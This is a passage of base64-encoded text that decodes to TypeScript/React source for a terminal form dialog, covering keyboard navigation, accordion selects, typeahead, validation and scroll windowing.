Njb3JkaW9uT3B0aW9uSW5kZXhdXG4gICAgICAgICAgaWYgKG9wdGlvblZhbHVlICE9PSB1bmRlZmluZWQgJiYgIXNlbGVjdGVkLmluY2x1ZGVzKG9wdGlvblZhbHVlKSkge1xuICAgICAgICAgICAgc2V0RmllbGQoY3VycmVudEZpZWxkLm5hbWUsIFsuLi5zZWxlY3RlZCwgb3B0aW9uVmFsdWVdKVxuICAgICAgICAgIH1cbiAgICAgICAgICBzZXRFeHBhbmRlZEFjY29yZGlvbih1bmRlZmluZWQpXG4gICAgICAgICAgaGFuZGxlTmF2aWdhdGlvbignZG93bicpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgaWYgKF9pbnB1dCkge1xuICAgICAgICAgIGNvbnN0IGxhYmVscyA9IG1zVmFsdWVzLm1hcCh2ID0+XG4gICAgICAgICAgICBnZXRNdWx0aVNlbGVjdExhYmVsKG1zU2NoZW1hLCB2KS50b0xvd2VyQ2FzZSgpLFxuICAgICAgICAgIClcbiAgICAgICAgICBydW5UeXBlYWhlYWQoX2lucHV0LCBsYWJlbHMsIHNldEFjY29yZGlvbk9wdGlvbkluZGV4KVxuICAgICAgICAgIHJldHVyblxuICAgICAgICB9XG4gICAgICAgIHJldHVyblxuICAgICAgfVxuXG4gICAgICAvLyBFeHBhbmRlZCBzaW5nbGUtc2VsZWN0IGVudW0gYWNjb3JkaW9uXG4gICAgICBpZiAoXG4gICAgICAgIGV4cGFuZGVkQWNjb3JkaW9uICYmXG4gICAgICAgIGN1cnJlbnRGaWVsZCAmJlxuICAgICAgICBpc0VudW1TY2hlbWEoY3VycmVudEZpZWxkLnNjaGVtYSlcbiAgICAgICkge1xuICAgICAgICBjb25zdCBlbnVtU2NoZW1hID0gY3VycmVudEZpZWxkLnNjaGVtYVxuICAgICAgICBjb25zdCBlbnVtVmFsdWVzID0gZ2V0RW51bVZhbHVlcyhlbnVtU2NoZW1hKVxuXG4gICAgICAgIGlmIChrZXkubGVmdEFycm93IHx8IGtleS5lc2NhcGUpIHtcbiAgICAgICAgICBzZXRFeHBhbmRlZEFjY29yZGlvbih1bmRlZmluZWQpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgaWYgKGtleS51cEFycm93KSB7XG4gICAgICAgICAgaWYgKGFjY29yZGlvbk9wdGlvbkluZGV4ID09PSAwKSB7XG4gICAgICAgICAgICBzZXRFeHBhbmRlZEFjY29yZGlvbih1bmRlZmluZWQpXG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIHNldEFjY29yZGlvbk9wdGlvbkluZGV4KGFjY29yZGlvbk9wdGlvbkluZGV4IC0gMSlcbiAgICAgICAgICB9XG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgaWYgKGtleS5kb3duQXJyb3cpIHtcbiAgICAgICAgICBpZiAoYWNjb3JkaW9uT3B0aW9uSW5kZXggPj0gZW51bVZhbHVlcy5sZW5ndGggLSAxKSB7XG4gICAgICAgICAgICBzZXRFeHBhbmRlZEFjY29yZGlvbih1bmRlZmluZWQpXG4gICAgICAgICAgICBoYW5kbGVOYXZpZ2F0aW9uKCdkb3duJylcbiAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgc2V0QWNjb3JkaW9uT3B0aW9uSW5kZXgoYWNjb3JkaW9uT3B0aW9uSW5kZXggKyAxKVxuICAgICAgICAgIH1cbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgICAvLyBTcGFjZTogc2VsZWN0IGFuZCBjb2xsYXBzZVxuICAgICAgICBpZiAoX2lucHV0ID09PSAnICcpIHtcbiAgICAgICAgICBjb25zdCBvcHRpb25WYWx1ZSA9IGVudW1WYWx1ZXNbYWNjb3JkaW9uT3B0aW9uSW5kZXhdXG4gICAgICAgICAgaWYgKG9wdGlvblZhbHVlICE9PSB1bmRlZmluZWQpIHtcbiAgICAgICAgICAgIHNldEZpZWxkKGN1cnJlbnRGaWVsZC5uYW1lLCBvcHRpb25WYWx1ZSlcbiAgICAgICAgICB9XG4gICAgICAgICAgc2V0RXhwYW5kZWRBY2NvcmRpb24odW5kZWZpbmVkKVxuICAgICAgICAgIHJldHVyblxuICAgICAgICB9XG4gICAgICAgIC8vIEVudGVyOiBzZWxlY3QsIGNvbGxhcHNlLCBhbmQgbW92ZSB0byBuZXh0IGZpZWxkXG4gICAgICAgIGlmIChrZXkucmV0dXJuKSB7XG4gICAgICAgICAgY29uc3Qgb3B0aW9uVmFsdWUgPSBlbnVtVmFsdWVzW2FjY29yZGlvbk9wdGlvbkluZGV4XVxuICAgICAgICAgIGlmIChvcHRpb25WYWx1ZSAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgICBzZXRGaWVsZChjdXJyZW50RmllbGQubmFtZSwgb3B0aW9uVmFsdWUpXG4gICAgICAgICAgfVxuICAgICAgICAgIHNldEV4cGFuZGVkQWNjb3JkaW9uKHVuZGVmaW5lZClcbiAgICAgICAgICBoYW5kbGVOYXZpZ2F0aW9uKCdkb3duJylcbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgICBpZiAoX2lucHV0KSB7XG4gICAgICAgICAgY29uc3QgbGFiZWxzID0gZW51bVZhbHVlcy5tYXAodiA9PlxuICAgICAgICAgICAgZ2V0RW51bUxhYmVsKGVudW1TY2hlbWEsIHYpLnRvTG93ZXJDYXNlKCksXG4gICAgICAgICAgKVxuICAgICAgICAgIHJ1blR5cGVhaGVhZChfaW5wdXQsIGxhYmVscywgc2V0QWNjb3JkaW9uT3B0aW9uSW5kZXgpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuXG4gICAgICB9XG5cbiAgICAgIC8vIEFjY2VwdCAvIERlY2xpbmUgYnV0dG9uc1xuICAgICAgaWYgKGtleS5yZXR1cm4gJiYgZm9jdXNlZEJ1dHRvbiA9PT0gJ2FjY2VwdCcpIHtcbiAgICAgICAgaWYgKHZhbGlkYXRlUmVxdWlyZWQoKSAmJiBPYmplY3Qua2V5cyh2YWxpZGF0aW9uRXJyb3JzKS5sZW5ndGggPT09IDApIHtcbiAgICAgICAgICBvblJlc3BvbnNlKCdhY2NlcHQnLCBmb3JtVmFsdWVzKVxuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIC8vIFNob3cgXCJyZXF1aXJlZFwiIHZhbGlkYXRpb24gZXJyb3JzIG9uIG1pc3NpbmcgZmllbGRzXG4gICAgICAgICAgY29uc3QgcmVxdWlyZWRGaWVsZHMgPSByZXF1ZXN0ZWRTY2hlbWEucmVxdWlyZWQgfHwgW11cbiAgICAgICAgICBmb3IgKGNvbnN0IGZpZWxkTmFtZSBvZiByZXF1aXJlZEZpZWxkcykge1xuICAgICAgICAgICAgaWYgKGZvcm1WYWx1ZXNbZmllbGROYW1lXSA9PT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgICAgIHVwZGF0ZVZhbGlkYXRpb25FcnJvcihmaWVsZE5hbWUsICdUaGlzIGZpZWxkIGlzIHJlcXVpcmVkJylcbiAgICAgICAgICAgIH1cbiAgICAgICAgICB9XG4gICAgICAgICAgY29uc3QgZmlyc3RCYWRJbmRleCA9IHNjaGVtYUZpZWxkcy5maW5kSW5kZXgoXG4gICAgICAgICAgICBmID0+XG4gICAgICAgICAgICAgIChyZXF1aXJlZEZpZWxkcy5pbmNsdWRlcyhmLm5hbWUpICYmXG4gICAgICAgICAgICAgICAgZm9ybVZhbHVlc1tmLm5hbWVdID09PSB1bmRlZmluZWQpIHx8XG4gICAgICAgICAgICAgIHZhbGlkYXRpb25FcnJvcnNbZi5uYW1lXSAhPT0gdW5kZWZpbmVkLFxuICAgICAgICAgIClcbiAgICAgICAgICBpZiAoZmlyc3RCYWRJbmRleCAhPT0gLTEpIHtcbiAgICAgICAgICAgIHNldEN1cnJlbnRGaWVsZEluZGV4KGZpcnN0QmFkSW5kZXgpXG4gICAgICAgICAgICBzZXRGb2N1c2VkQnV0dG9uKG51bGwpXG4gICAgICAgICAgICBzeW5jVGV4dElucHV0KGZpcnN0QmFkSW5kZXgpXG4gICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVyblxuICAgICAgfVxuXG4gICAgICBpZiAoa2V5LnJldHVybiAmJiBmb2N1c2VkQnV0dG9uID09PSAnZGVjbGluZScpIHtcbiAgICAgICAgb25SZXNwb25zZSgnZGVjbGluZScpXG4gICAgICAgIHJldHVyblxuICAgICAgfVxuXG4gICAgICAvLyBVcC9Eb3duIG5hdmlnYXRpb25cbiAgICAgIGlmIChrZXkudXBBcnJvdyB8fCBrZXkuZG93bkFycm93KSB7XG4gICAgICAgIC8vIFJlc2V0IGVudW0gdHlwZWFoZWFkIHdoZW4gbGVhdmluZyBhIGZpZWxkXG4gICAgICAgIGNvbnN0IHRhID0gZW51bVR5cGVhaGVhZFJlZi5jdXJyZW50XG4gICAgICAgIHRhLmJ1ZmZlciA9ICcnXG4gICAgICAgIGlmICh0YS50aW1lciAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgY2xlYXJUaW1lb3V0KHRhLnRpbWVyKVxuICAgICAgICAgIHRhLnRpbWVyID0gdW5kZWZpbmVkXG4gICAgICAgIH1cbiAgICAgICAgaGFuZGxlTmF2aWdhdGlvbihrZXkudXBBcnJvdyA/ICd1cCcgOiAnZG93bicpXG4gICAgICAgIHJldHVyblxuICAgICAgfVxuXG4gICAgICAvLyBMZWZ0L1JpZ2h0IHRvIHN3aXRjaCBiZXR3ZWVuIEFjY2VwdCBhbmQgRGVjbGluZSBidXR0b25zXG4gICAgICBpZiAoZm9jdXNlZEJ1dHRvbiAmJiAoa2V5LmxlZnRBcnJvdyB8fCBrZXkucmlnaHRBcnJvdykpIHtcbiAgICAgICAgc2V0Rm9jdXNlZEJ1dHRvbihmb2N1c2VkQnV0dG9uID09PSAnYWNjZXB0JyA/ICdkZWNsaW5lJyA6ICdhY2NlcHQnKVxuICAgICAgICByZXR1cm5cbiAgICAgIH1cblxuICAgICAgaWYgKCFjdXJyZW50RmllbGQpIHJldHVyblxuICAgICAgY29uc3QgeyBzY2hlbWEsIG5hbWUgfSA9IGN1cnJlbnRGaWVsZFxuICAgICAgY29uc3QgdmFsdWUgPSBmb3JtVmFsdWVzW25hbWVdXG5cbiAgICAgIC8vIEJvb2xlYW46IFNwYWNlIHRvIHRvZ2dsZSwgRW50ZXIgdG8gbW92ZSBvblxuICAgICAgaWYgKHNjaGVtYS50eXBlID09PSAnYm9vbGVhbicpIHtcbiAgICAgICAgaWYgKF9pbnB1dCA9PT0gJyAnKSB7XG4gICAgICAgICAgc2V0RmllbGQobmFtZSwgdmFsdWUgPT09IHVuZGVmaW5lZCA/IHRydWUgOiAhdmFsdWUpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgaWYgKGtleS5yZXR1cm4pIHtcbiAgICAgICAgICBoYW5kbGVOYXZpZ2F0aW9uKCdkb3duJylcbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgICBpZiAoa2V5LmJhY2tzcGFjZSAmJiB2YWx1ZSAhPT0gdW5kZWZpbmVkKSB7XG4gICAgICAgICAgdW5zZXRGaWVsZChuYW1lKVxuICAgICAgICAgIHJldHVyblxuICAgICAgICB9XG4gICAgICAgIC8vIHkvbiB0eXBlYWhlYWRcbiAgICAgICAgaWYgKF9pbnB1dCAmJiAha2V5LnJldHVybikge1xuICAgICAgICAgIHJ1blR5cGVhaGVhZChfaW5wdXQsIFsneWVzJywgJ25vJ10sIGkgPT4gc2V0RmllbGQobmFtZSwgaSA9PT0gMCkpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuXG4gICAgICB9XG5cbiAgICAgIC8vIEVudW0gb3IgbXVsdGktc2VsZWN0IChjb2xsYXBzZWQpIOKAlCBhY2NvcmRpb24gc3R5bGVcbiAgICAgIGlmIChpc0VudW1TY2hlbWEoc2NoZW1hKSB8fCBpc011bHRpU2VsZWN0RW51bVNjaGVtYShzY2hlbWEpKSB7XG4gICAgICAgIGlmIChrZXkucmV0dXJuKSB7XG4gICAgICAgICAgaGFuZGxlTmF2aWdhdGlvbignZG93bicpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgaWYgKGtleS5iYWNrc3BhY2UgJiYgdmFsdWUgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgIHVuc2V0RmllbGQobmFtZSlcbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgICAvLyBDb21wdXRlIG9wdGlvbiBsYWJlbHMgKyBpbml0aWFsIGZvY3VzIGluZGV4IGZvciByaWdodEFycm93IGV4cGFuZC5cbiAgICAgICAgLy8gU2luZ2xlLXNlbGVjdCBmb2N1c2VzIG9uIHRoZSBjdXJyZW50IHZhbHVlOyBtdWx0aS1zZWxlY3Qgc3RhcnRzIGF0IDAuXG4gICAgICAgIGxldCBsYWJlbHM6IHN0cmluZ1tdXG4gICAgICAgIGxldCBzdGFydElkeCA9IDBcbiAgICAgICAgaWYgKGlzRW51bVNjaGVtYShzY2hlbWEpKSB7XG4gICAgICAgICAgY29uc3QgdmFscyA9IGdldEVudW1WYWx1ZXMoc2NoZW1hKVxuICAgICAgICAgIGxhYmVscyA9IHZhbHMubWFwKHYgPT4gZ2V0RW51bUxhYmVsKHNjaGVtYSwgdikudG9Mb3dlckNhc2UoKSlcbiAgICAgICAgICBpZiAodmFsdWUgIT09IHVuZGVmaW5lZCkge1xuICAgICAgICAgICAgc3RhcnRJZHggPSBNYXRoLm1heCgwLCB2YWxzLmluZGV4T2YodmFsdWUgYXMgc3RyaW5nKSlcbiAgICAgICAgICB9XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgY29uc3QgdmFscyA9IGdldE11bHRpU2VsZWN0VmFsdWVzKHNjaGVtYSlcbiAgICAgICAgICBsYWJlbHMgPSB2YWxzLm1hcCh2ID0+IGdldE11bHRpU2VsZWN0TGFiZWwoc2NoZW1hLCB2KS50b0xvd2VyQ2FzZSgpKVxuICAgICAgICB9XG4gICAgICAgIGlmIChrZXkucmlnaHRBcnJvdykge1xuICAgICAgICAgIHNldEV4cGFuZGVkQWNjb3JkaW9uKG5hbWUpXG4gICAgICAgICAgc2V0QWNjb3JkaW9uT3B0aW9uSW5kZXgoc3RhcnRJZHgpXG4gICAgICAgICAgcmV0dXJuXG4gICAgICAgIH1cbiAgICAgICAgLy8gVHlwZWFoZWFkOiBleHBhbmQgYW5kIGp1bXAgdG8gbWF0Y2hpbmcgb3B0aW9uXG4gICAgICAgIGlmIChfaW5wdXQgJiYgIWtleS5sZWZ0QXJyb3cpIHtcbiAgICAgICAgICBydW5UeXBlYWhlYWQoX2lucHV0LCBsYWJlbHMsIGkgPT4ge1xuICAgICAgICAgICAgc2V0RXhwYW5kZWRBY2NvcmRpb24obmFtZSlcbiAgICAgICAgICAgIHNldEFjY29yZGlvbk9wdGlvbkluZGV4KGkpXG4gICAgICAgICAgfSlcbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgICByZXR1cm5cbiAgICAgIH1cblxuICAgICAgLy8gQmFja3NwYWNlOiB0ZXh0IGZpZWxkcyB3aGVuIGVtcHR5XG4gICAgICBpZiAoa2V5LmJhY2tzcGFjZSkge1xuICAgICAgICBpZiAoaXNFZGl0aW5nVGV4dEZpZWxkICYmIHRleHRJbnB1dFZhbHVlID09PSAnJykge1xuICAgICAgICAgIHVuc2V0RmllbGQobmFtZSlcbiAgICAgICAgICByZXR1cm5cbiAgICAgICAgfVxuICAgICAgfVxuXG4gICAgICAvLyBUZXh0IGZpZWxkIEVudGVyIGlzIGhhbmRsZWQgYnkgVGV4dElucHV0J3Mgb25TdWJtaXRcbiAgICB9LFxuICAgIHsgaXNBY3RpdmU6IHRydWUgfSxcbiAgKVxuXG4gIGZ1bmN0aW9uIHZhbGlkYXRlUmVxdWlyZWQoKTogYm9vbGVhbiB7XG4gICAgY29uc3QgcmVxdWlyZWRGaWVsZHMgPSByZXF1ZXN0ZWRTY2hlbWEucmVxdWlyZWQgfHwgW11cbiAgICBmb3IgKGNvbnN0IGZpZWxkTmFtZSBvZiByZXF1aXJlZEZpZWxkcykge1xuICAgICAgY29uc3QgdmFsdWUgPSBmb3JtVmFsdWVzW2ZpZWxkTmFtZV1cbiAgICAgIGlmICh2YWx1ZSA9PT0gdW5kZWZpbmVkIHx8IHZhbHVlID09PSBudWxsIHx8IHZhbHVlID09PSAnJykge1xuICAgICAgICByZXR1cm4gZmFsc2VcbiAgICAgIH1cbiAgICAgIGlmIChBcnJheS5pc0FycmF5KHZhbHVlKSAmJiB2YWx1ZS5sZW5ndGggPT09IDApIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlXG4gICAgICB9XG4gICAgfVxuICAgIHJldHVybiB0cnVlXG4gIH1cblxuICAvLyBTY3JvbGwgd2luZG93aW5nOiBjb21wdXRlIHZpc2libGUgZmllbGQgcmFuZ2VcbiAgLy8gT3ZlcmhlYWQ6IH45IGxpbmVzIChkaWFsb2cgY2hyb21lLCBidXR0b25zLCBmb290ZXIpLlxuICAvLyBFYWNoIGZpZWxkOiB+MyBsaW5lcyAobGFiZWwgKyBkZXNjcmlwdGlvbiArIHZhbGlkYXRpb24gc3BhY2VyKS5cbiAgLy8gTk9URSh2Mik6IE11bHRpLXNlbGVjdCBhY2NvcmRpb24gZXhwYW5kcyB0byBOKzMgbGluZXMgd2hlbiBvcGVuLlxuICAvLyBGb3Igbm93IHdlIGFzc3VtZSAzIGxpbmVzIHBlciBmaWVsZDsgYW4gZXhwYW5kZWQgYWNjb3JkaW9uIG1heVxuICAvLyB0ZW1wb3JhcmlseSBwdXNoIGNvbnRlbnQgb2ZmLXNjcmVlbiAodGVybWluYWwgc2Nyb2xsYmFjayBoYW5kbGVzIGl0KS5cbiAgLy8gVG8gZ2VuZXJhbGl6ZTogdHJhY2sgcGVyLWZpZWxkIGhlaWdodCAoMyBmb3IgY29sbGFwc2VkLCBOKzMgZm9yXG4gIC8vIGV4cGFuZGVkIG11bHRpLXNlbGVjdCkgYW5kIGNvbXB1dGUgYSBwaXhlbC1idWRnZXQgd2luZG93IGluc3RlYWRcbiAgLy8gb2YgYSBzaW1wbGUgaXRlbS1jb3VudCB3aW5kb3cuXG4gIGNvbnN0IExJTkVTX1BFUl9GSUVMRCA9IDNcbiAgY29uc3QgRElBTE9HX09WRVJIRUFEID0gMTRcbiAgY29uc3QgbWF4VmlzaWJsZUZpZWxkcyA9IE1hdGgubWF4KFxuICAgIDIsXG4gICAgTWF0aC5mbG9vcigocm93cyAtIERJQUxPR19PVkVSSEVBRCkgLyBMSU5FU19QRVJfRklFTEQpLFxuICApXG5cbiAgY29uc3Qgc2Nyb2xsV2luZG93ID0gdXNlTWVtbygoKSA9PiB7XG4gICAgY29uc3QgdG90YWwgPSBzY2hlbWFGaWVsZHMubGVuZ3RoXG4gICAgaWYgKHRvdGFsIDw9IG1heFZpc2libGVGaWVsZHMpIHtcbiAgICAgIHJldHVybiB7IHN0YXJ0OiAwLCBlbmQ6IHRvdGFsIH1cbiAgICB9XG4gICAgLy8gV2hlbiBidXR0b25zIGFyZSBmb2N1c2VkIChjdXJyZW50RmllbGRJbmRleCB1bmRlZmluZWQpLCBwaW4gdG8gZW5kXG4gICAgY29uc3QgZm9jdXNJZHggPSBjdXJyZW50RmllbGRJbmRleCA/PyB0b3RhbCAtIDFcbiAgICBsZXQgc3RhcnQgPSBNYXRoLm1heCgwLCBmb2N1c0lkeCAtIE1hdGguZmxvb3IobWF4VmlzaWJsZUZpZWxkcyAvIDIpKVxuICAgIGNvbnN0IGVuZCA9IE1hdGgubWluKHN0YXJ0ICsgbWF4VmlzaWJsZUZpZWxkcywgdG90YWwpXG4gICAgLy8gQWRqdXN0IHN0YXJ0IGlmIHdlIGhpdCB0aGUgYm90dG9tXG4gICAgc3RhcnQgPSBNYXRoLm1heCgwLCBlbmQgLSBtYXhWaXNpYmxlRmllbGRzKVxuICAgIHJldHVybiB7IHN0YXJ0LCBlbmQgfVxuICB9LCBbc2NoZW1hRmllbGRzLmxlbmd0aCwgbWF4VmlzaWJsZUZpZWxkcywgY3VycmVudEZpZWxkSW5kZXhdKVxuXG4gIGNvbnN0IGhhc0ZpZWxkc0Fib3ZlID0gc2Nyb2xsV2luZG93LnN0YXJ0ID4gMFxuICBjb25zdCBoYXNGaWVsZHNCZWxvdyA9IHNjcm9sbFdpbmRvdy5lbmQgPCBzY2hlbWFGaWVsZHMubGVuZ3RoXG5cbiAgZnVuY3Rpb24gcmVuZGVyRm9ybUZpZWxkcygpOiBSZWFjdC5SZWFjdE5vZGUge1xuICAgIGlmICghc2NoZW1hRmllbGRzLmxlbmd0aCkgcmV0dXJuIG51bGxcblxuICAgIHJldHVybiAoXG4gICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAge2hhc0ZpZWxkc0Fib3ZlICYmIChcbiAgICAgICAgICA8Qm94IG1hcmdpbkxlZnQ9ezJ9PlxuICAgICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICAgIHtmaWd1cmVzLmFycm93VXB9IHtzY3JvbGxXaW5kb3cuc3RhcnR9IG1vcmUgYWJvdmVcbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8L0JveD5cbiAgICAgICAgKX1cbiAgICAgICAge3NjaGVtYUZpZWxkc1xuICAgICAgICAgIC5zbGljZShzY3JvbGxXaW5kb3cuc3RhcnQsIHNjcm9sbFdpbmRvdy5lbmQpXG4gICAgICAgICAgLm1hcCgoZmllbGQsIHZpc2libGVJZHgpID0+IHtcbiAgICAgICAgICAgIGNvbnN0IGluZGV4ID0gc2Nyb2xsV2luZG93LnN0YXJ0ICsgdmlzaWJsZUlkeFxuICAgICAgICAgICAgY29uc3QgeyBuYW1lLCBzY2hlbWEsIGlzUmVxdWlyZWQgfSA9IGZpZWxkXG4gICAgICAgICAgICBjb25zdCBpc0FjdGl2ZSA9IGluZGV4ID09PSBjdXJyZW50RmllbGRJbmRleCAmJiAhZm9jdXNlZEJ1dHRvblxuICAgICAgICAgICAgY29uc3QgdmFsdWUgPSBmb3JtVmFsdWVzW25hbWVdXG4gICAgICAgICAgICBjb25zdCBoYXNWYWx1ZSA9XG4gICAgICAgICAgICAgIHZhbHVlICE9PSB1bmRlZmluZWQgJiYgKCFBcnJheS5pc0FycmF5KHZhbHVlKSB8fCB2YWx1ZS5sZW5ndGggPiAwKVxuICAgICAgICAgICAgY29uc3QgZXJyb3IgPSB2YWxpZGF0aW9uRXJyb3JzW25hbWVdXG5cbiAgICAgICAgICAgIC8vIENoZWNrYm94OiBzcGlubmVyIOKGkiDimqAgZXJyb3Ig4oaSIOKclCBzZXQg4oaSICogcmVxdWlyZWQg4oaSIHNwYWNlXG4gICAgICAgICAgICBjb25zdCBpc1Jlc29sdmluZyA9IHJlc29sdmluZ0ZpZWxkcy5oYXMobmFtZSlcbiAgICAgICAgICAgIGNvbnN0IGNoZWNrYm94ID0gaXNSZXNvbHZpbmcgPyAoXG4gICAgICAgICAgICAgIDxSZXNvbHZpbmdTcGlubmVyIC8+XG4gICAgICAgICAgICApIDogZXJyb3IgPyAoXG4gICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj57ZmlndXJlcy53YXJuaW5nfTwvVGV4dD5cbiAgICAgICAgICAgICkgOiBoYXNWYWx1ZSA/IChcbiAgICAgICAgICAgICAgPFRleHQgY29sb3I9XCJzdWNjZXNzXCIgZGltQ29sb3I9eyFpc0FjdGl2ZX0+XG4gICAgICAgICAgICAgICAge2ZpZ3VyZXMudGlja31cbiAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgKSA6IGlzUmVxdWlyZWQgPyAoXG4gICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwiZXJyb3JcIj4qPC9UZXh0PlxuICAgICAgICAgICAgKSA6IChcbiAgICAgICAgICAgICAgPFRleHQ+IDwvVGV4dD5cbiAgICAgICAgICAgIClcblxuICAgICAgICAgICAgLy8gU2VsZWN0aW9uIGNvbG9yIG1hdGNoZXMgZmllbGQgc3RhdHVzXG4gICAgICAgICAgICBjb25zdCBzZWxlY3Rpb25Db2xvciA9IGVycm9yXG4gICAgICAgICAgICAgID8gJ2Vycm9yJ1xuICAgICAgICAgICAgICA6IGhhc1ZhbHVlXG4gICAgICAgICAgICAgICAgPyAnc3VjY2VzcydcbiAgICAgICAgICAgICAgICA6IGlzUmVxdWlyZWRcbiAgICAgICAgICAgICAgICAgID8gJ2Vycm9yJ1xuICAgICAgICAgICAgICAgICAgOiAnc3VnZ2VzdGlvbidcblxuICAgICAgICAgICAgY29uc3QgYWN0aXZlQ29sb3IgPSBpc0FjdGl2ZSA/IHNlbGVjdGlvbkNvbG9yIDogdW5kZWZpbmVkXG5cbiAgICAgICAgICAgIGNvbnN0IGxhYmVsID0gKFxuICAgICAgICAgICAgICA8VGV4dCBjb2xvcj17YWN0aXZlQ29sb3J9IGJvbGQ9e2lzQWN0aXZlfT5cbiAgICAgICAgICAgICAgICB7c2NoZW1hLnRpdGxlIHx8IG5hbWV9XG4gICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgIClcblxuICAgICAgICAgICAgLy8gUmVuZGVyIHRoZSB2YWx1ZSBwb3J0aW9uIGJhc2VkIG9uIGZpZWxkIHR5cGVcbiAgICAgICAgICAgIGxldCB2YWx1ZUNvbnRlbnQ6IFJlYWN0LlJlYWN0Tm9kZVxuICAgICAgICAgICAgbGV0IGFjY29yZGlvbkNvbnRlbnQ6IFJlYWN0LlJlYWN0Tm9kZSA9IG51bGxcblxuICAgICAgICAgICAgaWYgKGlzTXVsdGlTZWxlY3RFbnVtU2NoZW1hKHNjaGVtYSkpIHtcbiAgICAgICAgICAgICAgY29uc3QgbXNWYWx1ZXMgPSBnZXRNdWx0aVNlbGVjdFZhbHVlcyhzY2hlbWEpXG4gICAgICAgICAgICAgIGNvbnN0IHNlbGVjdGVkID0gKHZhbHVlIGFzIHN0cmluZ1tdIHwgdW5kZWZpbmVkKSA/PyBbXVxuICAgICAgICAgICAgICBjb25zdCBpc0V4cGFuZGVkID0gZXhwYW5kZWRBY2NvcmRpb24gPT09IG5hbWUgJiYgaXNBY3RpdmVcblxuICAgICAgICAgICAgICBpZiAoaXNFeHBhbmRlZCkge1xuICAgICAgICAgICAgICAgIHZhbHVlQ29udGVudCA9IDxUZXh0IGRpbUNvbG9yPntmaWd1cmVzLnRyaWFuZ2xlRG93blNtYWxsfTwvVGV4dD5cbiAgICAgICAgICAgICAgICBhY2NvcmRpb25Db250ZW50ID0gKFxuICAgICAgICAgICAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgbWFyZ2luTGVmdD17Nn0+XG4gICAgICAgICAgICAgICAgICAgIHttc1ZhbHVlcy5tYXAoKG9wdFZhbCwgb3B0SWR4KSA9PiB7XG4gICAgICAgICAgICAgICAgICAgICAgY29uc3Qgb3B0TGFiZWwgPSBnZXRNdWx0aVNlbGVjdExhYmVsKHNjaGVtYSwgb3B0VmFsKVxuICAgICAgICAgICAgICAgICAgICAgIGNvbnN0IGlzQ2hlY2tlZCA9IHNlbGVjdGVkLmluY2x1ZGVzKG9wdFZhbClcbiAgICAgICAgICAgICAgICAgICAgICBjb25zdCBpc0ZvY3VzZWQgPSBvcHRJZHggPT09IGFjY29yZGlvbk9wdGlvbkluZGV4XG4gICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgICAgICAgICAgICAgIDxCb3gga2V5PXtvcHRWYWx9IGdhcD17MX0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgIDxUZXh0IGNvbG9yPVwic3VnZ2VzdGlvblwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHtpc0ZvY3VzZWQgPyBmaWd1cmVzLnBvaW50ZXIgOiAnICd9XG4gICAgICAgICAgICAgICAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgPFRleHQgY29sb3I9e2lzQ2hlY2tlZCA/ICdzdWNjZXNzJyA6IHVuZGVmaW5lZH0+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAge2lzQ2hlY2tlZFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPyBmaWd1cmVzLmNoZWNrYm94T25cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDogZmlndXJlcy5jaGVja2JveE9mZn1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgICAgICAgICAgICAgICA8VGV4dFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbG9yPXtpc0ZvY3VzZWQgPyAnc3VnZ2VzdGlvbicgOiB1bmRlZmluZWR9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9sZD17aXNGb2N1c2VkfVxuICAgICAgICAgICAgICAgICAgICAgICAgICA+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAge29wdExhYmVsfVxuICAgICAgICAgICAgICAgICAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgICAgICAgICAgICAgICA8L0JveD5cbiAgICAgICAgICAgICAgICAgICAgICApXG4gICAgICAgICAgICAgICAgICAgIH0pfVxuICAgICAgICAgICAgICAgICAgPC9Cb3g+XG4gICAgICAgICAgICAgICAgKVxuICAgI